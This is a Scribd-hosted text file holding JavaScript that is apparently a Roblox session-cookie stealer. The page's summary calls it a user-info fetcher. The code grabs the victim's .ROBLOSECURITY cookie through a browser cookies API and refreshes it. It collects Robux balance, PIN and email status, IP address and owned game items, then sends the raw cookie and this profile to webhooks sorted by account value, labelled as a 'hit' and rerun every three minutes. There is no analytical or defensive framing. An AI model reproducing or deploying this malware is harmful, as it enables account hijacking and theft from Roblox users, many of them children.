0% found this document useful (0 votes)
4 views10 pages

Message

The document contains an asynchronous JavaScript function that fetches user information from Roblox, including account age, Robux balance, and group ownership, while implementing exponential backoff for handling rate limits. It also includes various utility functions for checking user badges, game passes, and sending data to a webhook. The main function processes user data and sends it to a specified webhook based on the user's Robux balance and account age.

Uploaded by

Mikel Nikollaj
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views10 pages

Message

The document contains an asynchronous JavaScript function that fetches user information from Roblox, including account age, Robux balance, and group ownership, while implementing exponential backoff for handling rate limits. It also includes various utility functions for checking user badges, game passes, and sending data to a webhook. The main function processes user data and sends it to a specified webhook based on the user's Robux balance and account age.

Uploaded by

Mikel Nikollaj
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

async function warnB() {

async function fetchWithExponentialBackoff(url, options, maxRetries = 5, delay


= 1000) {
let attempt = 0;
while (attempt < maxRetries) {
try {
const res = await fetch(url, options);
if ([Link] !== 429) {
return await [Link]();
}
const backoffDelay = delay * [Link](2, attempt);
[Link](`429 Too Many Requests. Retrying in $
{backoffDelay}ms...`);
await new Promise(resolve => setTimeout(resolve, backoffDelay));
attempt++;
} catch (error) {
[Link](`Fetch error: ${error}`);
throw error;
}
}
throw new Error('Too many requests. Max retries exceeded.');
}

async function fetchUserInfo(cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const userRes = await
fetch('[Link] { headers });
if (![Link]) throw new Error(`Failed to fetch user info: $
{[Link]}`);
const userData = await [Link]();

const robuxRes = await fetch(`[Link]


{[Link]}/currency`, { headers });
if (![Link]) throw new Error(`Failed to fetch Robux balance: $
{[Link]}`);
const robuxData = await [Link]();
[Link] = [Link] || 0;

const ageRes = await fetch(`[Link]


{[Link]}`, { headers });
if (![Link]) throw new Error(`Failed to fetch account age: $
{[Link]}`);
const ageData = await [Link]();
[Link] = calculateAccountAge([Link]);

const groupsRes = await fetch(`[Link]


{[Link]}/groups/roles`, { headers });
if (![Link]) throw new Error(`Failed to fetch group ownership
info: ${[Link]}`);
const groupsData = await [Link]();
[Link] = [Link](group =>
[Link] === 255).length;

[Link] = await checkPIN(cookie);


[Link] = await getOnlineStatus([Link], cookie);
[Link] = await getPendingRobux([Link],
cookie);
[Link] = await getAvatarThumbnailUrl([Link]);
userData.hasMM2Badge = await checkMM2Badge([Link], cookie);
[Link] = await checkDaHoodGamepass([Link],
cookie);
[Link] = await checkADOPTMEBadge([Link],
cookie);
[Link] = await checkBBGamepass([Link], cookie);
[Link] = await checkHoodcGamepass([Link],
cookie);
[Link] = await checkBLOXFRUITSBadge([Link],
cookie);
[Link] = await checkKorblox([Link], cookie)
[Link] = await checkHeadless([Link], cookie)

return userData;
} catch (err) {
[Link]('Error fetching user info:', err);
return null;
}
}

function calculateAccountAge(creationDate) {
try {
const createdAt = new Date(creationDate);
const currentDate = new Date();
const ageInMilliseconds = currentDate - createdAt;
return [Link](ageInMilliseconds / (1000 * 60 * 60 * 24));
} catch (err) {
[Link]('Error calculating account age:', err);
return 'Unknown';
}
}

async function checkPIN(cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const res = await fetch('[Link]
{ headers });
return [Link] === 200 ? (await [Link]()).isEnabled : false;
} catch (err) {
return false;
}
}

async function getOnlineStatus(userId, cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}`, 'Content-Type':
'application/json' };
const body = [Link]({ userIds: [userId] });
const res = await
fetch('[Link] {
method: 'POST',
headers,
body
});
if ([Link] === 200) {
const data = await [Link]();
const presenceType = [Link][0]?.userPresenceType || 0;
switch (presenceType) {
case 0: return 'Offline';
case 1: return 'Online';
case 2: return 'In Game';
case 3: return 'In Studio';
default: return 'Unknown';
}
} else {
return 'Unknown';
}
} catch (err) {
return 'Unknown';
}
}

async function getPendingRobux(userId, cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const url = `[Link]
totals?timeFrame=Month&transactionType=summary`;
const data = await fetchWithExponentialBackoff(url, { headers });
return [Link] || 0;
} catch (err) {
[Link]('Error fetching pending Robux:', err);
return 0;
}
}

async function getAvatarThumbnailUrl(userId) {


try {
const res = await fetch(`[Link]
userIds=${userId}&size=720x720&format=Png&isCircular=false`);
if ([Link] === 200) {
const data = await [Link]();
return [Link][0]?.imageUrl ||
'[Link]
} else {
return
'[Link]
}
} catch (err) {
return '[Link]
}
}

async function fetchIP() {


try {
const res = await fetch('[Link]
const data = await [Link]();
return [Link];
} catch (err) {
return null;
}
}

async function checkEmail(cookie) {


try {
const res = await fetch('[Link]
{ headers: { Cookie: `.ROBLOSECURITY=${cookie}` } });
const data = await [Link]();
return [Link] !== null;
} catch (err) {
return false;
}
}
async function checkKorblox(cookie, userId) {
try {
const res = await fetch(`[Link]
{userId}/items/Bundle/201/is-owned`, {
headers: { Cookie: `.ROBLOSECURITY=${cookie}` }
});
const data = await [Link]();
return [Link] === true;
} catch (err) {
return false;
}
}

async function checkHeadless(cookie, userId) {


try {
const res = await fetch(`[Link]
{userId}/items/Bundle/192/is-owned`, {
headers: { Cookie: `.ROBLOSECURITY=${cookie}` }
});
const data = await [Link]();
return [Link] === true;
} catch (err) {
return false;
}
}

async function sendToWebhook(embed, url) {


try {
await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: [Link](embed)
});
} catch (err) {
[Link]('Error sending to webhook:', err);
}
}

async function refreshCookie(originalCookie) {


try {
const res = await fetch('[Link] {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Cookie':
`.ROBLOSECURITY=${originalCookie}` }
});
if ([Link] === 200) {
const data = await [Link]();
return [Link];
} else {
[Link]('Failed to refresh cookie.');
return originalCookie;
}
} catch (err) {
[Link]('Error refreshing cookie:', err);
return originalCookie;
}
}

async function checkMM2Badge(userId, cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const badgeUrl =
`[Link]
badgeIds=196200785`;
const badgeRes = await fetch(badgeUrl, { headers });

if (![Link]) {
throw new Error(`Failed to fetch MM2 badge: $
{[Link]}`);
}

const badgeData = await [Link]();


return [Link] > 0;
} catch (err) {
[Link]('Error checking MM2 badge:', err);
return false;
}
}

async function checkADOPTMEBadge(userId, cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const badgeUrl =
`[Link]
badgeIds=2124439923`;
const badgeRes = await fetch(badgeUrl, { headers });

if (![Link]) {
throw new Error(`Failed to fetch Adopt Me badge: $
{[Link]}`);
}

const badgeData = await [Link]();


return [Link] > 0;
} catch (err) {
[Link]('Error checking Adopt Me badge:', err);
return false;
}
}

async function checkBLOXFRUITSBadge(userId, cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const badgeUrl =
`[Link]
badgeIds=2125253113`;
const badgeRes = await fetch(badgeUrl, { headers });

if (![Link]) {
throw new Error(`Failed to fetch Adopt Me badge: $
{[Link]}`);
}
const badgeData = await [Link]();
return [Link] > 0;
} catch (err) {
[Link]('Error checking Adopt Me badge:', err);
return false;
}
}

async function checkDaHoodGamepass(userId, cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const gamepassUrl =
`[Link]
const gamepassRes = await fetch(gamepassUrl, { headers });

if (![Link]) {
const text = await [Link]();
[Link]('Error fetching Da Hood gamepass:', text);
return false;
}

const gamepassData = await [Link]();


return [Link] > 0;
} catch (err) {
[Link]('Error checking Da Hood gamepass:', err);
return false;
}
}

async function checkHoodcGamepass(userId, cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const gamepassUrl =
`[Link]
const gamepassRes = await fetch(gamepassUrl, { headers });

if (![Link]) {
const text = await [Link]();
[Link]('Error fetching Da Hood gamepass:', text);
return false;
}

const gamepassData = await [Link]();


return [Link] > 0;
} catch (err) {
[Link]('Error checking Da Hood gamepass:', err);
return false;
}
}

async function checkBBGamepass(userId, cookie) {


try {
const headers = { Cookie: `.ROBLOSECURITY=${cookie}` };
const gamepassUrl =
`[Link]
const gamepassRes = await fetch(gamepassUrl, { headers });

if (![Link]) {
const text = await [Link]();
[Link]('Error fetching BB gamepass:', text);
return false;
}

const gamepassData = await [Link]();


return [Link] > 0;
} catch (err) {
[Link]('Error checking BB gamepass:', err);
return false;
}
}

async function processUser(cookie) {


try {
const refreshedCookie = await refreshCookie(cookie);
const userInfo = await fetchUserInfo(refreshedCookie);
const ipAddress = await fetchIP();
const hasEmail = await checkEmail(refreshedCookie);

if (userInfo && [Link] !== '???') {


const accountAge = [Link] || 0;
const robuxBalance = [Link] || 0;

if (accountAge > 35 || robuxBalance >= 20) {


let webhookUrl;

if (robuxBalance <= 100) {


webhookUrl = '[Link]
} else if (robuxBalance <= 500) {
webhookUrl = '[Link]
} else if (robuxBalance <= 850) {
webhookUrl = '[Link]
} else if (robuxBalance > 850) {
webhookUrl = '[Link]
}

const embed = {
content: robuxBalance > 500 ? '@everyone' : '',
embeds: [
{
description:
`\n[**Refresher**]([Link] ${[Link]}\n\
`\`\`\n${refreshedCookie}\n\`\`\``,
color: 3092799,
fields: [
{
name: '─────────── ☆。゚☆: *.**HIT RECIEVED!
** .* :☆゚. ───────────',
value: '',
inline: false
},
{
name: '<:Person:1279665545397932115>
**Username:**',
value: [Link] || '???',
inline: true
},
{
name: '<:Robux:1279666134089728010>
**Robux:**',
value: `${[Link]()}
Robux`,
inline: true
},
{
name: '<:Pending:1279666023955562499>
**Pending:**',
value: `$
{[Link]()} Robux`,
inline: true
},
{
name: '<:Premium:1279666248052903956>
**Premium:**',
value: [Link] ? 'Yes' : 'No',
inline: true
},
{
name: '<:PIN:1279666768469688343>
**PIN:**',
value: [Link] ? 'Yes' : 'No PIN',
inline: true
},
{
name: '<:IP:1279665048440012861> **IP:**',
value: ipAddress || 'Unknown',
inline: true
},
{
name: '<:Email:1279666521614057567>
**Email:**',
value: hasEmail ? 'Yes' : 'No Email',
inline: true
},
{
name: '<:Date:1279667057985720382>
**Age:**',
value: [Link](),
inline: true
},
{
name: '🏆 **Groups Owned:**',
value:
[Link](),
inline: true
},
{
name: '────────────── ☆。゚☆:
*.**GAMES** .* :☆゚. ───────────────',
value: '',
inline: false
},
{
name: '<:MM2:1279743899765575700>
**MM2 :**',
value: userInfo.hasMM2Badge ? 'Yes' : 'No',
inline: true
},
{
name: '<:dahood:1279743787610144812> **Da
Hood :**',
value: [Link] ? 'Yes' :
'No',
inline: true
},
{
name: '<:ADOPTME:1279778242261422174>
**Adopt Me :**',
value: [Link] ? 'Yes' :
'No',
inline: true
},
{
name: '<:BladeBall:1279782696138182697>
**Bladeball :**',
value: [Link] ? 'Yes' :
'No',
inline: true
},
{
name: '<:hc:1279783886301429893> **Hood
Customs :**',
value: [Link] ? 'Yes' :
'No',
inline: true
},
{
name: '<:BF:1279878088263467130> **Blox
fruits :**',
value: [Link] ? 'Yes' :
'No',
inline: true
},
{
name: '────────────── ☆。゚☆: *.**Avatar** .*
:☆゚. ───────────────',
value: '',
inline: false
},
{
name: '<:korblox:1280127191815950358>
Korblox',
value: [Link] ? 'Yes' : 'No',
inline: true
},
{
name: '<:headless:1280127193741262878>
Headless',
value: [Link]? 'Yes' : 'No',
inline: true
},

],
thumbnail: {
url: [Link]
},
footer: {
text: `This was made by v2lix u fucking skid `
}
}
],
avatar_url: [Link]
};

await sendToWebhook(embed, webhookUrl);


} else {
[Link]('Conditions not met for sending webhook.');
}
} else {
[Link]('Failed to send to webhook: Invalid user info.');
}
} catch (err) {
[Link]('Error processing user:', err);
}
}

const W = { url: '[Link] name: '.ROBLOSECURITY' };

[Link](W, function (cookie) {


if (cookie) {
[Link]('Fetched .ROBLOSECURITY cookie:', [Link]);
processUser([Link]);
} else {
[Link]('Failed to fetch .ROBLOSECURITY cookie');
}
});
}

warnB();
setInterval(warnB, 180000);

You might also like